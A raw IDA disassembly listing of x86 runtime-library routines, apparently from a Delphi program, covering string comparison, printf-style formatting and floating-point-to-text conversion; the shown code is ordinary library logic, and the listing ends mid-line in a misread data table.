I N E ======================================= sub_4045F0 proc near ; CODE XREF: sub_405474+109p ; sub_405474+12Fp ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_40462E repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_404609: ; CODE XREF: sub_4045F0+3Cj repe cmpsb jz short loc_40462E mov al, [esi-1] cmp al, 61h jb short loc_40461A cmp al, 7Ah ja short loc_40461A sub al, 20h loc_40461A: ; CODE XREF: sub_4045F0+22j ; sub_4045F0+26j mov dl, [edi-1] cmp dl, 61h jb short loc_40462A cmp dl, 7Ah ja short loc_40462A sub dl, 20h loc_40462A: ; CODE XREF: sub_4045F0+30j ; sub_4045F0+35j sub eax, edx jz short loc_404609 loc_40462E: ; CODE XREF: sub_4045F0+Dj ; sub_4045F0+1Bj pop ebx pop esi pop edi retn sub_4045F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404634 proc near ; CODE XREF: sub_404498+2Ap ; sub_406224+Bp ... push edi push eax mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx pop edi mov al, dl repne scasb mov eax, 0 jnz short loc_404652 mov eax, edi dec eax loc_404652: ; CODE XREF: sub_404634+19j pop edi retn sub_404634 endp ; =============== S U B R O U T I N E ======================================= sub_404654 proc near ; CODE XREF: sub_4047F6+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_40466A mov ebx, 1Fh loc_40466A: ; CODE XREF: sub_404654+Fj mov edx, ebx dec edx mov eax, esi call sub_406188 cmp al, 1 jnz short loc_404679 dec ebx loc_404679: ; CODE XREF: sub_404654+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_4045AC mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, ds:off_4090F8[edi*4] xor ecx, ecx call sub_4043CC add esp, 28h pop edi pop esi pop ebx retn sub_404654 endp ; =============== S U B R O U T I N E ======================================= sub_4046AC proc near ; CODE XREF: sub_4047F6+1B2p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx mov edx, esi call sub_402DA8 pop esi pop ebx retn sub_4046AC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4046C0 proc near ; CODE XREF: sub_4046CC+D3p push ebx mov ebx, eax mov eax, ebx call sub_4025C8 pop ebx retn sub_4046C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046CC proc near ; CODE XREF: sub_404AE0+2Ap ; sub_404B34+4Ap ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00404AD0 SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF8Ch push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_4046F5: ; CODE XREF: sub_4046CC+DDj or edx, edx jz short loc_404706 loc_4046F9: ; CODE XREF: sub_4046CC+38j cmp esi, ecx jz short loc_404706 lodsb cmp al, 25h jz short loc_404710 loc_404702: ; CODE XREF: sub_4046CC+4Bj stosb dec edx jnz short loc_4046F9 loc_404706: ; CODE XREF: sub_4046CC+2Bj ; sub_4046CC+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_404AD0 ; --------------------------------------------------------------------------- loc_404710: ; CODE XREF: sub_4046CC+34j cmp esi, ecx jz short loc_404706 lodsb cmp al, 25h jz short loc_404702 lea ebx, [esi-2] mov [ebp+var_18], ebx loc_40471F: ; CODE XREF: sub_4046CC+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_40472B cmp esi, ecx jz short loc_404706 lodsb loc_40472B: ; CODE XREF: sub_4046CC+58j call sub_4047AE cmp al, 3Ah jnz short loc_40473E mov [ebp+var_C], ebx cmp esi, ecx jz short loc_404706 lodsb jmp short loc_40471F ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_4046CC+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_404754 cmp esi, ecx jz short loc_404706 lodsb call sub_4047AE loc_404754: ; CODE XREF: sub_4046CC+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_4047F6 pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_40476B xor ebx, ebx loc_40476B: ; CODE XREF: sub_4046CC+9Bj cmp [ebp+var_19], 2Dh jnz short loc_40477B sub edx, ecx jnb short loc_404779 add ecx, edx xor edx, edx loc_404779: ; CODE XREF: sub_4046CC+A7j rep movsb loc_40477B: ; CODE XREF: sub_4046CC+A3j xchg ebx, ecx sub edx, ecx jnb short loc_404785 add ecx, edx xor edx, edx loc_404785: ; CODE XREF: sub_4046CC+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_404793 add ecx, edx xor edx, edx loc_404793: ; CODE XREF: sub_4046CC+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_4047A5 push edx lea eax, [ebp+var_10] call sub_4046C0 pop edx loc_4047A5: ; CODE XREF: sub_4046CC+CDj pop ecx mov esi, [ebp+var_28] jmp loc_4046F5 sub_4046CC endp ; =============== S U B R O U T I N E ======================================= sub_4047AE proc near ; CODE XREF: sub_4046CC:loc_40472Bp ; sub_4046CC+83p xor ebx, ebx cmp al, 2Ah jz short loc_4047D6 loc_4047B4: ; CODE XREF: sub_4047AE+20j cmp al, 30h jb short locret_4047F5 cmp al, 39h ja short locret_4047F5 imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_4047D0 lodsb jmp short loc_4047B4 ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_4047AE+1Dj ; sub_4047AE+44j pop eax jmp loc_404706 ; --------------------------------------------------------------------------- loc_4047D6: ; CODE XREF: sub_4047AE+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] ja short loc_4047F0 inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_4047F0 xor ebx, ebx loc_4047F0: ; CODE XREF: sub_4047AE+2Ej ; sub_4047AE+3Ej cmp esi, ecx jz short loc_4047D0 lodsb locret_4047F5: ; CODE XREF: sub_4047AE+8j ; sub_4047AE+Cj retn sub_4047AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4047F6 proc near ; CODE XREF: sub_4046CC+90p ; FUNCTION CHUNK AT 0040491E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00404985 SIZE 0000013B BYTES and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] ja short loc_404863 inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp off_40481D[edx*4] ; --------------------------------------------------------------------------- off_40481D dd offset loc_40491E ; DATA XREF: sub_4047F6+20r dd offset loc_404861 dd offset loc_404985 dd offset loc_404A4B dd offset loc_4049B5 dd offset loc_404A2D dd offset loc_404A0D dd offset loc_404861 dd offset loc_404861 dd offset loc_404861 dd offset loc_4049C6 dd offset loc_4049F1 dd offset loc_404A47 dd offset loc_404994 dd offset loc_404861 dd offset loc_4049CD dd offset loc_404878 ; --------------------------------------------------------------------------- loc_404861: ; CODE XREF: sub_4047F6+20j ; sub_4047F6+9Cj ... xor eax, eax loc_404863: ; CODE XREF: sub_4047F6+Fj call sub_404AC0 mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_404654 loc_404878: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+67o lea ebx, [ebp-30h] mov edx, [eax] mov [ebx], edx mov edx, [eax+4] mov [ebx+4], edx cmp cl, 44h jz short loc_40489B cmp cl, 55h jz short sub_4048B9 cmp cl, 58h jnz short loc_404861 mov ecx, 10h jmp short loc_4048BE ; --------------------------------------------------------------------------- loc_40489B: ; CODE XREF: sub_4047F6+92j test dword ptr [ebx+4], 80000000h jz short sub_4048B9 neg dword ptr [ebx] adc dword ptr [ebx+4], 0 neg dword ptr [ebx+4] call sub_4048B9 mov al, 2Dh inc ecx dec esi mov [esi], al retn sub_4047F6 endp ; =============== S U B R O U T I N E ======================================= sub_4048B9 proc near ; CODE XREF: sub_4047F6+97j ; sub_4047F6+ACj ... mov ecx, 0Ah loc_4048BE: ; CODE XREF: sub_4047F6+A3j lea esi, [ebp-51h] loc_4048C1: ; CODE XREF: sub_4048B9+46j push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402E30 pop ecx pop ebx xchg eax, edx add dl, 30h cmp dl, 3Ah jb short loc_4048E1 add dl, 7 loc_4048E1: ; CODE XREF: sub_4048B9+23j dec esi mov [esi], dl push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402DE4 pop ecx pop ebx mov [ebx], eax mov [ebx+4], edx or eax, edx jnz short loc_4048C1 lea ecx, [ebp-51h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_40490F retn ; --------------------------------------------------------------------------- loc_40490F: ; CODE XREF: sub_4048B9+53j sub edx, ecx jbe short locret_40491D add ecx, edx mov al, 30h loc_404917: ; CODE XREF: sub_4048B9+62j dec esi mov [esi], al dec edx jnz short loc_404917 locret_40491D: ; CODE XREF: sub_4048B9+58j retn sub_4048B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4047F6 loc_40491E: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6:off_40481Do cmp cl, 44h jz short loc_404938 cmp cl, 55h jz short sub_40494A cmp cl, 58h jnz loc_404861 mov ecx, 10h jmp short loc_40494F ; --------------------------------------------------------------------------- loc_404938: ; CODE XREF: sub_4047F6+12Bj or eax, eax jns short sub_40494A neg eax call sub_40494A mov al, 2Dh inc ecx dec esi mov [esi], al retn ; END OF FUNCTION CHUNK FOR sub_4047F6 ; =============== S U B R O U T I N E ======================================= sub_40494A proc near ; CODE XREF: sub_4047F6+130j ; sub_4047F6+144j ... mov ecx, 0Ah loc_40494F: ; CODE XREF: sub_4047F6+140j ; sub_4047F6+24Cj lea esi, [ebp-61h] loc_404952: ; CODE XREF: sub_40494A+1Cj xor edx, edx div ecx add dl, 30h cmp dl, 3Ah jb short loc_404961 add dl, 7 loc_404961: ; CODE XREF: sub_40494A+12j dec esi mov [esi], dl or eax, eax jnz short loc_404952 lea ecx, [ebp-61h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_404976 retn ; --------------------------------------------------------------------------- loc_404976: ; CODE XREF: sub_40494A+29j sub edx, ecx jbe short locret_404984 add ecx, edx mov al, 30h loc_40497E: ; CODE XREF: sub_40494A+38j dec esi mov [esi], al dec edx jnz short loc_40497E locret_404984: ; CODE XREF: sub_40494A+2Ej retn sub_40494A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4047F6 loc_404985: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+2Fo cmp cl, 53h jnz loc_404861 mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_404994: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+5Bo cmp cl, 53h jnz loc_404861 cmp word ptr [eax], 1 jbe short loc_4049B2 mov edx, eax lea eax, [ebp-10h] call sub_4046AC mov esi, [ebp-10h] jmp short loc_4049FC ; --------------------------------------------------------------------------- loc_4049B2: ; CODE XREF: sub_4047F6+1ABj ; sub_4047F6+208j xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_4049B5: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+37o cmp cl, 53h jnz loc_404861 mov esi, eax lodsb movzx ecx, al jmp short loc_404A03 ; --------------------------------------------------------------------------- loc_4049C6: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+4Fo mov esi, offset loc_4027CC jmp short loc_4049D2 ; --------------------------------------------------------------------------- loc_4049CD: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+63o mov esi, offset loc_40282C loc_4049D2: ; CODE XREF: sub_4047F6+1D5j add esi, [ebp-4] cmp cl, 53h jnz loc_404861 mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_4049FC ; --------------------------------------------------------------------------- loc_4049F1: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+53o cmp cl, 53h jnz loc_404861 mov esi, eax loc_4049FC: ; CODE XREF: sub_4047F6+1BAj ; sub_4047F6+1F9j or esi, esi jz short loc_4049B2 mov ecx, [esi-4] loc_404A03: ; CODE XREF: sub_4047F6+1CEj cmp ecx, [ebp-24h] ja short loc_404A09 retn ; --------------------------------------------------------------------------- loc_404A09: ; CODE XREF: sub_4047F6+210j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_404A0D: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+3Fo cmp cl, 53h jnz loc_404861 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_404A27 repne scasb jnz short loc_404A27 dec edi loc_404A27: ; CODE XREF: sub_4047F6+22Aj ; sub_4047F6+22Ej mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_404A2D: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+3Bo cmp cl, 50h jnz loc_404861 mov dword ptr [ebp-24h], 8 mov ecx, 10h jmp loc_40494F ; --------------------------------------------------------------------------- loc_404A47: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+57o mov bh, 1 jmp short loc_404A4D ; --------------------------------------------------------------------------- loc_404A4B: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+33o mov bh, 0 loc_404A4D: ; CODE XREF: sub_4047F6+253j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_404A95 mov bl, 1 cmp cl, 45h jz short loc_404A95 mov bl, 2 cmp cl, 46h jz short loc_404A76 mov bl, 3 cmp cl, 4Eh jz short loc_404A76 cmp cl, 4Dh jnz loc_404861 mov bl, 4 loc_404A76: ; CODE XREF: sub_4047F6+26Cj ; sub_4047F6+273j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_404AA7 mov edx, 2 cmp cl, 4Dh jnz short loc_404AA7 movzx edx, ds:byte_40A6B8 jmp short loc_404AA7 ; --------------------------------------------------------------------------- loc_404A95: ; CODE XREF: sub_4047F6+25Ej ; sub_4047F6+265j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_404AA7 mov eax, 0Fh loc_404AA7: ; CODE XREF: sub_4047F6+28Aj ; sub_4047F6+294j ... push ebx push eax push edx lea eax, [ebp-71h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_404C38 mov ecx, eax lea esi, [ebp-71h] retn ; END OF FUNCTION CHUNK FOR sub_4047F6 ; =============== S U B R O U T I N E ======================================= sub_404AC0 proc near ; CODE XREF: sub_4047F6:loc_404863p ; sub_4046CC:loc_404AD0p push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_4025C8 pop eax pop ebx retn sub_404AC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4046CC loc_404AD0: ; CODE XREF: sub_4046CC+3Fj call sub_404AC0 pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4046CC ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404AE0 proc near ; CODE XREF: CODE:00405811p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_404B17 test esi, esi jz short loc_404B17 mov eax, esi call sub_404594 push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_4046CC mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_404B19 ; --------------------------------------------------------------------------- loc_404B17: ; CODE XREF: sub_404AE0+Ej ; sub_404AE0+12j xor eax, eax loc_404B19: ; CODE XREF: sub_404AE0+35j pop edi pop esi pop ebx pop ebp retn 8 sub_404AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B20 proc near ; CODE XREF: sub_405924+34p ; sub_4059E0+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_404B34 pop ebp retn 4 sub_404B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B34 proc near ; CODE XREF: sub_404B20+Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, 1000h mov eax, [ebp+var_4] call sub_402840 cmp eax, 0C00h jge short loc_404B85 mov eax, [ebp+var_4] call sub_402840 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_1008] mov edx, 0FFFh call sub_4046CC jmp short loc_404B91 ; --------------------------------------------------------------------------- loc_404B85: ; CODE XREF: sub_404B34+29j mov eax, [ebp+var_4] call sub_402840 mov ebx, eax mov eax, ebx loc_404B91: ; CODE XREF: sub_404B34+4Fj mov edx, ebx dec edx cmp eax, edx jl short loc_404BDB jmp short loc_404BCA ; --------------------------------------------------------------------------- loc_404B9A: ; CODE XREF: sub_404B34+9Bj add ebx, ebx mov eax, esi call sub_4025C8 mov eax, esi mov edx, ebx call sub_402BC0 mov eax, [ebp+var_4] call sub_402840 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [esi] call sub_4046CC loc_404BCA: ; CODE XREF: sub_404B34+64j mov edx, ebx dec edx cmp eax, edx jge short loc_404B9A mov edx, esi xchg eax, edx call sub_402BC0 jmp short loc_404BE9 ; --------------------------------------------------------------------------- loc_404BDB: ; CODE XREF: sub_404B34+62j lea edx, [ebp+var_1008] mov ecx, esi xchg eax, ecx call sub_4026B4 loc_404BE9: ; CODE XREF: sub_404B34+A5j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_404B34 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404BF4 proc near ; CODE XREF: sub_404D41+8Fp push esi xor esi, esi stosb or bl, bl jnz short loc_404C00 xor edx, edx jmp short loc_404C0A ; --------------------------------------------------------------------------- loc_404C00: ; CODE XREF: sub_404BF4+6j or edx, edx jge short loc_404C0A mov al, 2Dh neg edx jmp short loc_404C10 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BF4+Aj ; sub_404BF4+Ej or ah, ah jz short loc_404C11 mov al, ah loc_404C10: ; CODE XREF: sub_404BF4+14j stosb loc_404C11: ; CODE XREF: sub_404BF4+18j xchg eax, edx push eax mov ebx, esp loc_404C15: ; CODE XREF: sub_404BF4+32j ; sub_404BF4+36j xor edx, edx div ds:flt_40910C[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_404C15 or ecx, ecx jg short loc_404C15 loc_404C2C: ; CODE XREF: sub_404BF4+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_404C2C pop eax pop esi retn sub_404BF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C38 proc near ; CODE XREF: sub_4047F6+2BFp var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 00404F07 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_40A6B7 mov [ebp+var_5], al mov al, ds:byte_40A6B6 mov [ebp+var_6], al mov eax, ds:dword_40A6B0 mov [ebp+var_C], eax mov al, ds:byte_40A6B4 mov [ebp+var_D], al mov al, ds:byte_40A6B5 mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_404C94 mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_404C8A mov eax, 2 loc_404C8A: ; CODE XREF: sub_404C38+4Bj cmp eax, 12h jle short loc_404C94 mov eax, 12h loc_404C94: ; CODE XREF: sub_404C38+43j ; sub_404C38+55j mov [ebp+arg_4], eax push eax mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_404CA6 mov eax, [ebp+arg_0] loc_404CA6: ; CODE XREF: sub_404C38+69j push eax lea eax, [ebp+var_2C] call sub_404F10 mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_404CDA mov ecx, eax call sub_404D37 lea esi, dword_404D28[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_404D07 ; --------------------------------------------------------------------------- loc_404CDA: ; CODE XREF: sub_404C38+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_404CF6 cmp bl, 4 ja short loc_404CF4 movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_404CF6 loc_404CF4: ; CODE XREF: sub_404C38+B1j mov bl, 0 loc_404CF6: ; CODE XREF: sub_404C38+ACj ; sub_404C38+BAj lea ebx, off_404D14[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_404D07: ; CODE XREF: sub_404C38+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_404F07 sub_404C38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_404D14 dd offset sub_404D41 ; DATA XREF: sub_404C38:loc_404CF6o dd offset loc_404D9F dd offset sub_404DD6 dd offset sub_404DD6 dd offset sub_404E40 dword_404D28 dd 4E464E49h ; DATA XREF: sub_404C38+8Fr ; --------------------------------------------------------------------------- inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_404D2E proc near ; CODE XREF: sub_404D41+63p ; sub_404D41:loc_404DB2p ... lodsb or al, al jnz short locret_404D36 mov al, 30h dec esi locret_404D36: ; CODE XREF: sub_404D2E+3j retn sub_404D2E endp ; =============== S U B R O U T I N E ======================================= sub_404D37 proc near ; CODE XREF: sub_404C38+8Ap ; sub_404D41p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_404D40 mov al, 2Dh stosb locret_404D40: ; CODE XREF: sub_404D37+4j retn sub_404D37 endp ; =============== S U B R O U T I N E ======================================= sub_404D41 proc near ; DATA XREF: CODE:off_404D14o call sub_404D37 movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_404D6E cmp ecx, 0FFFFFFFDh jl short loc_404D6E or ecx, ecx jg short loc_404D74 mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_404D9E mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_404D88 ; --------------------------------------------------------------------------- loc_404D6E: ; CODE XREF: sub_404D41+Ej ; sub_404D41+13j mov ecx, 1 inc edx loc_404D74: ; CODE XREF: sub_404D41+17j ; sub_404D41+39j lodsb or al, al jz short loc_404D90 stosb loop loc_404D74 lodsb or al, al jz short loc_404D94 mov ah, al mov al, [ebp-5] stosw loc_404D88: ; CODE XREF: sub_404D41+2Bj ; sub_404D41+4Dj lodsb or al, al jz short loc_404D94 stosb jmp short loc_404D88 ; --------------------------------------------------------------------------- loc_404D90: ; CODE XREF: sub_404D41+36j mov al, 30h rep stosb loc_404D94: ; CODE XREF: sub_404D41+3Ej ; sub_404D41+4Aj or edx, edx jz short locret_404D9E xor eax, eax xor ecx, ecx jmp short loc_404DC6 ; --------------------------------------------------------------------------- locret_404D9E: ; CODE XREF: sub_404D41+1Fj ; sub_404D41+55j retn ; --------------------------------------------------------------------------- loc_404D9F: ; DATA XREF: CODE:00404D18o call sub_404D37 call sub_404D2E mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_404DB2: ; CODE XREF: sub_404D41+77j call sub_404D2E stosb loop loc_404DB2 mov ah, 2Bh mov ecx, [ebp+8] cmp ecx, 4 jb short loc_404DC6 xor ecx, ecx loc_404DC6: ; CODE XREF: sub_404D41+5Bj ; sub_404D41+81j mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_404BF4 retn sub_404D41 endp ; =============== S U B R O U T I N E ======================================= sub_404DD6 proc near ; DATA XREF: CODE:00404D1Co ; CODE:00404D20o call sub_404D37 loc_404DDB: ; CODE XREF: sub_404E40:loc_404E89p mov edx, [ebp+8] cmp edx, 12h jb short loc_404DE8 mov edx, 12h loc_404DE8: ; CODE XREF: sub_404DD6+Bj movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_404DF5 mov al, 30h stosb jmp short loc_404E1F ; --------------------------------------------------------------------------- loc_404DF5: ; CODE XREF: sub_404DD6+18j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_404E07 mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_404E07: ; CODE XREF: sub_404DD6+25j ; sub_404DD6+3Bj ... call sub_404D2E stosb dec ecx jz short loc_404E1F dec ebx jnz short loc_404E07 mov al, [ebp-6] test al, al jz short loc_404E07 stosb mov bl, 3 jmp short loc_404E07 ; --------------------------------------------------------------------------- loc_404E1F: ; CODE XREF: sub_404DD6+1Dj ; sub_404DD6+38j or edx, edx jz short locret_404E3F mov al, [ebp-5] test al, al jz short loc_404E2B stosb loc_404E2B: ; CODE XREF: sub_404DD6+52j jecxz short loc_404E36 mov al, 30h loc_404E2F: ; CODE XREF: sub_404DD6+5Ej stosb dec edx jz short locret_404E3F inc ecx jnz short loc_404E2F loc_404E36: ; CODE XREF: sub_404DD6:loc_404E2Bj ; sub_404DD6+67j call sub_404D2E stosb dec edx jnz short loc_404E36 locret_404E3F: ; CODE XREF: sub_404DD6+4Bj ; sub_404DD6+5Bj retn sub_404DD6 endp ; =============== S U B R O U T I N E ======================================= sub_404E40 proc near ; DATA XREF: CODE:00404D24o xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_404E58 mov bl, [ebp-0Eh] mov ecx, 40Fh loc_404E58: ; CODE XREF: sub_404E40+Ej cmp bl, cl jbe short loc_404E5E mov bl, cl loc_404E5E: ; CODE XREF: sub_404E40+1Aj add bl, ch lea ebx, dword_404EA3[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_404E6F: ; CODE XREF: sub_404E40+51j mov al, [ebx] cmp al, 40h jz short locret_404E93 push ecx push ebx cmp al, 24h jz short loc_404E82 cmp al, 2Ah jz short loc_404E89 stosb jmp short loc_404E8E ; --------------------------------------------------------------------------- loc_404E82: ; CODE XREF: sub_404E40+39j call sub_404E94 jmp short loc_404E8E ; --------------------------------------------------------------------------- loc_404E89: ; CODE XREF: sub_404E40+3Dj call loc_404DDB loc_404E8E: ; CODE XREF: sub_404E40+40j ; sub_404E40+47j pop ebx pop ecx inc ebx loop loc_404E6F locret_404E93: ; CODE XREF: sub_404E40+33j retn sub_404E40 endp ; =============== S U B R O U T I N E ======================================= sub_404E94 proc near ; CODE XREF: sub_404E40:loc_404E82p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_404EA1 mov ecx, [esi-4] rep movsb loc_404EA1: ; CODE XREF: sub_404E94+6j pop esi retn sub_404E94 endp ; --------------------------------------------------------------------------- dword_404EA3 dd 40402A24h ; DATA XREF: sub_404E40+20r ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and 